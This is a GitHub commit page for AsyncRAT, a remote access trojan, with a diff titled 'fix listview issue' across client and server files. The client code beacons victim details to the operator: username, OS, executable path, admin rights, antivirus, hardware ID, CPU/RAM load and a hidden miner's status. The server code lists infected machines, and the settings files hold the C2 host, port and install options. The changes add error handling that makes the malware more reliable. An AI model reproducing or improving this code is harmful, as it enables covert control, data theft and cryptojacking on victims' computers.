Skip to content

Commit 3c3108b

Browse files
committed
fix listview issue
1 parent 8f28aed commit 3c3108b

File tree

5 files changed

+35
-6
lines changed

5 files changed

+35
-6
lines changed

AsyncRAT-C#/Client/Connection/ClientSocket.cs

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -256,7 +256,14 @@ public static void KeepAlivePacket(object obj)
256256
{
257257
MsgPack msgpack = new MsgPack();
258258
msgpack.ForcePathObject("Packet").AsString = "Ping";
259-
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
259+
try
260+
{
261+
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
262+
}
263+
catch
264+
{
265+
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
266+
}
260267
Send(msgpack.Encode2Bytes());
261268
Ping?.Dispose();
262269
Interval = 0;

AsyncRAT-C#/Client/Helper/IdSender.cs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ public static byte[] SendInfo()
2020
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
2121
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
2222
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
23-
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
23+
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
2424
msgpack.ForcePathObject("Version").AsString = Settings.Version;
2525
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
2626
TheCPUCounter.NextValue();

AsyncRAT-C#/Client/Settings.cs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ public static class Settings
1313
#if DEBUG
1414
public static string Ports = "6606";
1515
public static string Hosts = "127.0.0.1";
16-
public static string Version = "0.5.6";
16+
public static string Version = "0.5.6A";
1717
public static string Install = "false";
1818
public static string InstallFolder = "AppData";
1919
public static string InstallFile = "Test.exe";

AsyncRAT-C#/Server/Handle Packet/HandleListView.cs

Lines changed: 24 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -55,15 +55,37 @@ public void AddToListview(Clients client, MsgPack unpack_msgpack)
5555
{
5656
client.LV.SubItems.Add("??");
5757
}
58+
5859
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
5960
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
6061
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
6162
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
62-
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
63+
try
64+
{
65+
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
66+
}
67+
catch
68+
{
69+
try
70+
{
71+
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Installed").AsString);
72+
}
73+
catch
74+
{
75+
client.LV.SubItems.Add("??");
76+
}
77+
}
6378
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
6479
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
6580
client.LV.SubItems.Add("0000 MS");
66-
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
81+
try
82+
{
83+
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
84+
}
85+
catch
86+
{
87+
client.LV.SubItems.Add("??");
88+
}
6789
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
6890
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
6991
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;

AsyncRAT-C#/Server/Settings.cs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ public static class Settings
1919

2020
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
2121
public static X509Certificate2 ServerCertificate;
22-
public static readonly string Version = "AsyncRAT 0.5.6";
22+
public static readonly string Version = "AsyncRAT 0.5.6A";
2323
public static object LockListviewClients = new object();
2424
public static object LockListviewLogs = new object();
2525
public static object LockListviewThumb = new object();

0 commit comments

Comments
 (0)